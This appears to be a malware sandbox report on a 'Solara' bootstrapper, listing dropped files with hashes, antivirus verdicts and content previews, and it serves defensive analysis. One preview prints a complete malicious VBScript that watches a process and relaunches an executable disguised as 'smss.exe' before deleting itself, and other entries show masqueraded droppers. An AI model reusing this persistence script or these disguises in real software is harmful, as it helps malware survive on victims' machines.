......Ax.Q.."...S..<way....T.Th.9.6.;.#...T.O.\f.m.M..`.\|.9c..J.,..2.I......_.ON.f......\......?....`...U.@...ZB.N.......v..j..h.k.A....................k...6.z.7.a........._(..;...(W..C.......v.Q...k.!.A@..0.O....9..I..hK.$.f..A8..I...............u..%.UH...\|!.....Wt..:...O..........w.#..BY.7........................H..K...>.e....F...B4..M.c../...o.}..MB..Ed.....

C:\ProgramData\SolaraBootstrapper.exe

Download File

Process:	C:\ProgramData\Bootstrapper.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.677524556734161
Encrypted:	false
SSDEEP:	192:konexQO0FoAWyEfJkVIaqaLHmr/XKT0ifnTJ1jvVXctNjA:HnexHAWyEfJoIaqayzKAifd1LVEj
MD5:	6557BD5240397F026E675AFB78544A26
SHA1:	839E683BF68703D373B6EAC246F19386BB181713
SHA-256:	A7FECFC225DFDD4E14DCD4D1B4BA1B9F8E4D1984F1CDD8CDA3A9987E5D53C239
SHA-512:	F2399D34898A4C0C201372D2DD084EE66A66A1C3EAE949E568421FE7EDADA697468EF81F4FCAB2AFD61EAF97BCB98D6ADE2D97295E2F674E93116D142E892E97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Joe Sandbox View:	Filename: QIjBj1l8We.exe, Detection: malicious, Browse Filename: 6tGWMkdYv4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)............"...0.............I... ...`....@.. ....................................`.................................?I..O....`...............................H..8............................................ ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B................sI......H........'... ...........................................................0..;........r...p.(....(...............(...+}......~.......(......9...............(...+}.......}.......6}.......}...... ....}........0..{....+..}......~.......(...........,'.(......r'..p..(....(....(.......s....z..........(...+}.......~.......(....&......%.......%.......%..........+'.(......r=..p..(....(....(.......s....z..6..(.............0...........(....o......rS..p(.........+8...........o..........

C:\Recovery\1684183673b272

Download File

Process:	C:\Media\fontreview.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	111
Entropy (8bit):	5.543119893471
Encrypted:	false
SSDEEP:	3:QfhNaXpngDtVj2fS/LOOoLkCBWcIRNDnWS+nSsu3EEPin:QDYngDT28OVAHnV33EEKn
MD5:	8AC2BD1021C1F79BEDF62492391AFAD4
SHA1:	2DA001A4A5A2BC6A731D126E1126C3BA25D11125
SHA-256:	04D03E23C996A4D4C43F3D2DF071DEE62955C6A82DEC4EEC79723193F2C1A6F6
SHA-512:	9547BFA0E6CB5EE3F733C7B576FAC68D0870677C1274CDC9D26FD54E828FAB074EC6E3CD30FDF912204195B2E1535DF96F156EA88F7CFC46055034832C8CBA44
Malicious:	false
Preview:	KRpW0XVQzDhaV2LoU3AEfhuHGh0PfZMN0k3T14nhDxj9uEkMkm0uCBknghQShFuZ1Tkv82xaQdBs7vWB7np2ibKy9QwTnUA7CJHaeyOrzaej92p

C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe

Download File

Process:	C:\Media\fontreview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1093120
Entropy (8bit):	6.714255025886609
Encrypted:	false
SSDEEP:	24576:0iVC9ebLMKzsfC9upt8pR1TDwLf99z+bd:7LbkdapRGLfLS
MD5:	D59145E6DDAD7699D0C9C5E1416229F9
SHA1:	BDA54641A52BB99147CF57BCBD6B8048BC3E2D2D
SHA-256:	3D9B74A6BD97A5FA455737B72D8970898527A4478E912B68E9BF9459CCCB7C87
SHA-512:	7E1122C02DDAB5BF333D7B1B89A596419E3D7FE31D30877B17F36AB1E5207127C6D757EEE243DD1C38C51B993F1D2AB2CCC0F266D899FF0A9B7D3A61BF24994C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................t...6.......... ........@.. ....................... ............@.....................................K.................................................................................... ............... ..H............text....r... ...t.................. ..`.sdata.../.......0...x..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SolaraTab\main.lua

Download File

Process:	C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	39
Entropy (8bit):	4.182336834024969
Encrypted:	false
SSDEEP:	3:1jR0M8XgJRJEXEw4:L0MKB4
MD5:	3CD4DC6E40336E7959EB67C7AE662333
SHA1:	E2FB75E6797E956ACB2214C81F1B7A420ACC13C4
SHA-256:	BC228CE692E3149BB8459B0E10973F23FB531D226C9270D774448388B027C713
SHA-512:	D5FBBF0B2380A36F6FFFE46A2BD815F5FC258919622679A969F293A33BF808814D9C7C7FFFC6EBADF4B1A1998B2E4017589948265AAA676B1872D742DCD2F928
Malicious:	false
Preview:	--[[ https://discord.gg/realsolara ]]

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fontreview.exe.log

Download File

Process:	C:\Media\fontreview.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	5.37489905566343
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpp+vxp3/el2HKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpQZp/9
MD5:	CB9B84D43FE6C026046185C608796397
SHA1:	0CBD64B12C741DE1397D4A343D13BA3C6BF5CAFE
SHA-256:	EB4647C59C00610C96BB2B2ECAA53138BE8DBF83E4D3644A77B2A57A5B3FA897
SHA-512:	0627F9B0CE9A725CD3BBA4B4F963A8DC8515CE2DD9D1D19F278F285548E3A3AF5F2101FB6B4D11E2D9635BA033CD540F052773BBA53165B96B503EE80C02F68F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\oiDIGxjWBeQtCtbxHEXanoHsv.exe.log

Download File

Process:	C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\smss.exe.log

Download File

Process:	C:\Program Files\Uninstall Information\smss.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	5.3718223239563105
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpp+vxp3/elT:iq+wmj0qCYqGSI6oPtzHeqKkhtpQZp/E
MD5:	75256E8ED0FF5098970766B222EAED75
SHA1:	D4CEC796860EE4708023BFC98FD0ADE8455014CC
SHA-256:	190A69BC74DE411E17C0E8B47DB40B3BADAC5C545E3C38D6E634208E93BF3118
SHA-512:	9FB5A83E77512A8E94CFC4E475A8DD21B42FEE08E942CB0C05B46CF3E4C0EB309543CBCDF3F02C03FD5B881AC9685C544A18359C27F9A43B58958B9694B9182D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SolaraBootstrapper.exe.log

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1050
Entropy (8bit):	5.3494375421744005
Encrypted:	false
SSDEEP:	24:ML9E4KLE4KnKDE4KhKiKhPKIE4oKNzKoZAE4KzeRE4Ks:MxHKLHKnYHKh3oPtHo6hAHKzeRHKs
MD5:	741E4F1547EA86A558BB07C1C24FB1B0
SHA1:	2E4AA5A266353C2782C429DB72F3E8667F7BA145
SHA-256:	64C5BD2C308687466A86E91A3AC34474356243089AAD6698EB227E544D1AA7F5
SHA-512:	35CC1F198E259A83CBDABD9FC8867FE3677A3B71AF11D178ECA4BF5E04E2ACCBBA1BD938AD32BE9569FBDD612C939E46352FBCAA35F890B014983F4F977B0DE4
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.IO.Compression.FileSystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Cul

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\3a21ZIvvsG

Download File

Process:	C:\Media\fontreview.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:3QydF3:P3
MD5:	967072E85510858CCEB31C1F77B16BC3
SHA1:	87D0C07B7C4AB42CAE4331FFE2A3642687A464D0
SHA-256:	8C958EA6DADDADEDE616D57357E5A9ADF30B9DEAE4B9BD2415DD8507E7B8FB40
SHA-512:	4EBB0BADEB01B1C6469C37B6CAF3F3520B7EDAFB62C220773901BAD6A3F4D796B683374278A5A010A23EDA064B9023991B5A6B512C34F46AC4E9091A1C04E6FB
Malicious:	false
Preview:	ew5cDpxn5hIZ7DH7lzHkAHZ9G

C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs

Download File

Process:	C:\Program Files\Uninstall Information\smss.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	723
Entropy (8bit):	5.214179526662884
Encrypted:	false
SSDEEP:	12:9vWdTzyMsRfhMA6KzjMpehOouurv3vAGThYsTaHozv/K/ynMaSxqjdxWg9VbNiVC:9AnyHfCATzjPZpD/AEmHob/uhEjdxWgr
MD5:	AB53FECE09CA4E3E136E5A1DA630E30F
SHA1:	34D663E39567A7EBC16AD11AD0D339D79B02580C
SHA-256:	1CEC59A24E46776DA8ECFD2D8DE811F29B067CC7C813C485099468DF74A26670
SHA-512:	334ABCA79B93AB2E470A456692A6369C0BC257252C03111FACA985A3134B62E8C7C6F8C6F0DE1CECA0F7422FD231D3786947AE69B9B0E7D1A03EE8DA50F6DD50
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	On Error Resume Next....Dim processId..Dim mainFilePath....Set WS = CreateObject("WScript.Shell")..Set FSO = CreateObject("Scripting.FileSystemObject")....processId = "1644"..mainFilePath = "C:\Program Files\Uninstall Information\smss.exe"....Do While True...Dim isExists...isExists = false.....Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")...sQuery = "SELECT * FROM Win32_Process"...Set objItems = objWMIService.ExecQuery(sQuery).....For Each objItem In objItems....if(Trim(objItem.ProcessId) = Trim(processId)) Then .....isExists = true.....Exit For....End If...Next.....if(isExists = false) Then....WS.Exec(mainFilePath)....FSO.DeleteFile WScript.ScriptFullName....Exit Do...End If....WScript.Sleep 5000..Loop

C:\Users\user\AppData\Local\Temp\Boostraper.bat

Download File

Process:	C:\Users\user\Desktop\SolaraBootstrapper.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1410109
Entropy (8bit):	6.791582564800487
Encrypted:	false
SSDEEP:	24576:U2G/nvxW3Ww0twiVC9ebLMKzsfC9upt8pR1TDwLf99z+bdC:UbA30nLbkdapRGLfLSQ
MD5:	820CA8AB4B7500CE29E8A1A79B7B8D95
SHA1:	CB5AD50CAC3184AF88BED5E22C5F83A981474C5F
SHA-256:	13704B32BEE03719D86744A997B75AE735D93E581B0A9B54E730808AD418D534
SHA-512:	212BDCE126D2172A6210D34542E7609986C585752575C46D88F9AABB35B61A820509908BAB7D41FD0508716C66A79F5526209F0CCC92309D85D6C93D14EC98A7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'...Rich&...................PE..L....._............................@........0....@..........................@............@......................... ...4...T...<....0..........................h"......T............................U..@............0..`...... ....................text............................... ..`.rdata.......0......................@..@.data...(7..........................@....didat....... ......................@....rsrc........0......................@..@.reloc..h".......$..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	500712
Entropy (8bit):	5.428454080870205
Encrypted:	false
SSDEEP:	12288:W/TcW1virB3ye+iKzORFNgeA+imQ9pRFZNIEJdIElxPrEIgcvLcglxMwCepM1STy:W/1C4I
MD5:	851FEE9A41856B588847CF8272645F58
SHA1:	EE185A1FF257C86EB19D30A191BF0695D5AC72A1
SHA-256:	5E7FAEE6B8230CA3B97CE9542B914DB3ABBBD1CB14FD95A39497AAAD4C1094CA
SHA-512:	CF5C70984CF33E12CF57116DA1F282A5BD6433C570831C185253D13463B0B9A0B9387D4D1BF4DDDAB3292A5D9BA96D66B6812E9D7EBC5EB35CB96EEA2741348F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...<x.e.........." ..0..t..........v.... ........... ...............................1....`.................................$...O....................\|...'.......................................................... ............... ..H............text...\|r... ...t.................. ..`.rsrc................v..............@..@.reloc...............z..............@..B................X.......H...........p...................l........................................0..G.........()...};......}=......}>......}<......}:.....\|;.....(...+..\|;...(+.....0..I..........(!....o.....8..o,... .@..3.r...p.s-...z.z..o,... ....3.r}..p.s-...z.z........................,.......0../........{....- ..{....t....}.......r...p.s....z.{....................."..}........0../........{....- ..{....t....}.......ry..p.s....z.{....................."..}........0../........{....- ..{....t....

C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38376
Entropy (8bit):	6.289675546641707
Encrypted:	false
SSDEEP:	768:SNGbP6+wTftcZDgcEST3p4Jjrjh2jJFSUyauYv1JKia5/Zi/WGQKVu6bRaMBo0wx:OGm+otcZDgcEST3p4JjrjaJFSUyau01U
MD5:	4CF94FFA50FD9BDC0BB93CCEAEDE0629
SHA1:	3E30ECA720F4C2A708EC53FD7F1BA9E778B4F95F
SHA-256:	50B2E46C99076F6FA9C33E0A98F0FE3A2809A7C647BB509066E58F4C7685D7E6
SHA-512:	DC400518EF2F68920D90F1CE66FBB8F4DDE2294E0EFEECD3D9329AA7A66E1AB53487B120E13E15F227EA51784F90208C72D7FBFA9330D9B71DD9A1A727D11F98
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8............." ..0..d..........z.... ........... ..............................$.....`.................................(...O....................n...'..........D...8............................................ ............... ..H............text....b... ...d.................. ..`.rsrc................f..............@..@.reloc...............l..............@..B................\.......H........7...E...........}..@............................................(......{....>..}......}......{....>..}......}......{....>..}......}......{...."..}......{....>..}......}......{...."..}.......0..d........{....-K.(....-..(....-..(....-..(....,+..(.....(.....(.....(.......s....(....}.....{....%-.&.(...+.0..C..........(....-..(.......(....,'.o.......(....o......(.......(....o ....*..0..B........#.......?}......}.....(!...}.....("....(b......(#.... . ...(#..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	45016
Entropy (8bit):	6.2772249080704405
Encrypted:	false
SSDEEP:	768:1n/WlAKj4s0TV09797+nXDheteXBxc78OSW3Z8lcDP/ryEH0UBy4JjrD1h2j5h3E:1+msYXR3sZ8lcDP/ryEH0UBy4JjrD1aU
MD5:	34EC990ED346EC6A4F14841B12280C20
SHA1:	6587164274A1AE7F47BDB9D71D066B83241576F0
SHA-256:	1E987B22CD011E4396A0805C73539586B67DF172DF75E3DDED16A77D31850409
SHA-512:	B565015CA4B11B79ECBC8127F1FD40C986948050F1CAEFDD371D34ED2136AF0AABF100863DC6FD16D67E3751D44EE13835EA9BF981AC0238165749C4987D1AE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....C..........." ..0.............R.... ........... ...............................o....`.....................................O........................'..........(...8............................................ ............... ..H............text...X.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................1.......H.......4B..4X..........h...@.............................................(....F.~....(....tV...6.~.....(....F.~....(....tV...6.~.....(....F.~....(....tV...6.~.....(....F.~....(....tV...6.~.....(....F.~....(.........J.~..........(....F.~....(....tV...6.~.....(....F.~....(.........J.~..........(....F.~....(....tV...6.~.....(....6.t.....}.....0..r........{....-Y.(....-..(....-..(....-..(....,9.(.....(.......s.......(......&....(.....(.....(....}.....{....%-.&.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4536
Entropy (8bit):	4.741460539247671
Encrypted:	false
SSDEEP:	96:gFEuLu1uHsWwXphsk/9TLsvyOsSnWX+OsM+3qYsMxiT9:4EMej/ZuyEnWv+FK
MD5:	E462FB7561F6C9BCCB24E62BB93889D2
SHA1:	1BECCA75907B3AE5FB7DE82E0CB495FF0FC90517
SHA-256:	FF3FC42D5F912950D1095C43C8EDB8A3BE63C8EEE9DB5CA5D39D5668F68F7B41
SHA-512:	4E7E83E63195AD0D9D155E3D00E0DC228148C95804D817779A043ABE3672087FDC9E038EDE8F6510FC88CC283E3D993499CAFA8083E5104CCF0360DF845ACB26
Malicious:	false
Preview:	const express = require('express');..const fs = require('fs');..const path = require('path');..const bodyParser = require('body-parser');....const app = express();..const port = 9911;....app.use((req, res, next) => {.. res.header('Access-Control-Allow-Origin', '*');.. res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');.. res.header('Access-Control-Allow-Headers', 'Content-Type');.... const userAgent = req.get('User-Agent');.. if (userAgent && userAgent.includes('Roblox')) {.. return res.status(403).send('Access denied');.. }.... next();..});....app.get('/files', async (req, res) => {.. const directoryPath = 'C:\\SolaraTab';.. const userAgent = req.get('User-Agent');.. if (userAgent && userAgent.includes('Roblox')) {.. return res.status(403).send('Access denied');.. }.... try {.. .. const fileNames = await fs.promises.readdir(directoryPath);.. .. const filePromises = fileNames.map(async (fileNam

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.910785755010633
Encrypted:	false
SSDEEP:	6:hfSc7IMVSCCGuyLk5tRZrCbIiMxsaWGrG5N2Hx4HWwzR9mtkPec7e2vn:ZZUpBGultRwbS7SL2m90TIn
MD5:	7AB5BFFF58B0A878A4614CDDBE424702
SHA1:	E75AD406EF2F9FCB1A9BDE44BA669F416C824C4F
SHA-256:	394B93EAAAC25F18A20D7CDD80920ECCA1FE43C8E5B37501389E644944C6E01F
SHA-512:	36F59FB7F2A1F985210CE39FB90E6E7998E4BA8030F172496EDA22A12C66B58C651211D0F682C2B0EC58A6E1AE19D59380D1FE0C6849F15FCF381DF60123AAEB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.basedir=$(dirname "$(echo "$0" \| sed -e 's,\\,/,g')")..case `uname` in. CYGWIN\|MINGW\|MSYS). if command -v cygpath > /dev/null 2>&1; then. basedir=`cygpath -w "$basedir"`. fi. ;;.esac..if [ -x "$basedir/node" ]; then. exec "$basedir/node" "$basedir/../mime/cli.js" "$@".else . exec node "$basedir/../mime/cli.js" "$@".fi.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime.cmd

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	316
Entropy (8bit):	5.2931488574549075
Encrypted:	false
SSDEEP:	6:/EiwLynvuc3Kp2h9JaJWgbQBvJplsMgbi9xHxcdyfV9jqRB+YyAnYIIky:/lwOnvMw9Ja5QplOiSdwV9jqsiq5
MD5:	2872347AC99221152281BFD56705D437
SHA1:	83FA66CD05F64DE1EF7F3010344A0F7BABE54819
SHA-256:	CD5CA2F059E780C0A4B1AA9CDD6EDC7DC10413D30BF51AD537ADBD428E5E7A16
SHA-512:	3C0B9E12BC1FF8F2BBAA5301D8DB78A5C3636DD93F5755728E5B255C4250C0EA9E3C53A545011087B9C2536B1C1676FF01F7EFF3015E6E99F2E12C9F15386FE5
Malicious:	false
Preview:	@ECHO off..GOTO start..:find_dp0..SET dp0=%~dp0..EXIT /b..:start..SETLOCAL..CALL :find_dp0....IF EXIST "%dp0%\node.exe" (.. SET "_prog=%dp0%\node.exe"..) ELSE (.. SET "_prog=node".. SET PATHEXT=%PATHEXT:;.JS;=;%..)....endLocal & goto #_undefined_# 2>NUL \|\| title %COMSPEC% & "%_prog%" "%dp0%\..\mime\cli.js" %*..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime.ps1

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	a /usr/bin/env pwsh script, ASCII text executable
Category:	dropped
Size (bytes):	769
Entropy (8bit):	4.981782287433566
Encrypted:	false
SSDEEP:	12:Hsa0aBXj2Uu6Dqb+RTqeNFmZC0/vq8dP2JNUJCCm0BC0/vq8dP5NTCCmG6:UarDq0uqFl0nn4Nm1hE0nnRNT1v6
MD5:	BEF04ABF08E89532A476C3E474B5F509
SHA1:	BB81073D8E07C483EE29121358871535973336E7
SHA-256:	A43D8B7D57DBBB21F2F98C331970D011177FA1C6BE327AA0DBB84C1AD01E9201
SHA-512:	E20F86C40CE523477DA136CB4AA3F29683DEE567A31EBFAD666666192417F49568E848CB8844E8DCD32D5501FB7176D47ACA54C195324E6D41E73093699788B1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/usr/bin/env pwsh.$basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent..$exe="".if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {. # Fix case when both the Windows and Linux builds of Node. # are installed in the same directory. $exe=".exe".}.$ret=0.if (Test-Path "$basedir/node$exe") {. # Support pipeline input. if ($MyInvocation.ExpectingInput) {. $input \| & "$basedir/node$exe" "$basedir/../mime/cli.js" $args. } else {. & "$basedir/node$exe" "$basedir/../mime/cli.js" $args. }. $ret=$LASTEXITCODE.} else {. # Support pipeline input. if ($MyInvocation.ExpectingInput) {. $input \| & "node$exe" "$basedir/../mime/cli.js" $args. } else {. & "node$exe" "$basedir/../mime/cli.js" $args. }. $ret=$LASTEXITCODE.}.exit $ret.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.package-lock.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25264
Entropy (8bit):	5.2516551877991695
Encrypted:	false
SSDEEP:	384:gVbqQ3uaG5ur6UDR5Gf3QB78K/wR8Cv8mCHL2mW:gQQUurhdUaO8CveXW
MD5:	E35FCE819EB584DF48CF52E97690CB3F
SHA1:	9D2E90D3F5057690C11911BB41D6303FD0EF5E8B
SHA-256:	98AA53C0FAFA3457D59F459BCE5770B68451DBCD64A9834F1A05DBA2D98F3697
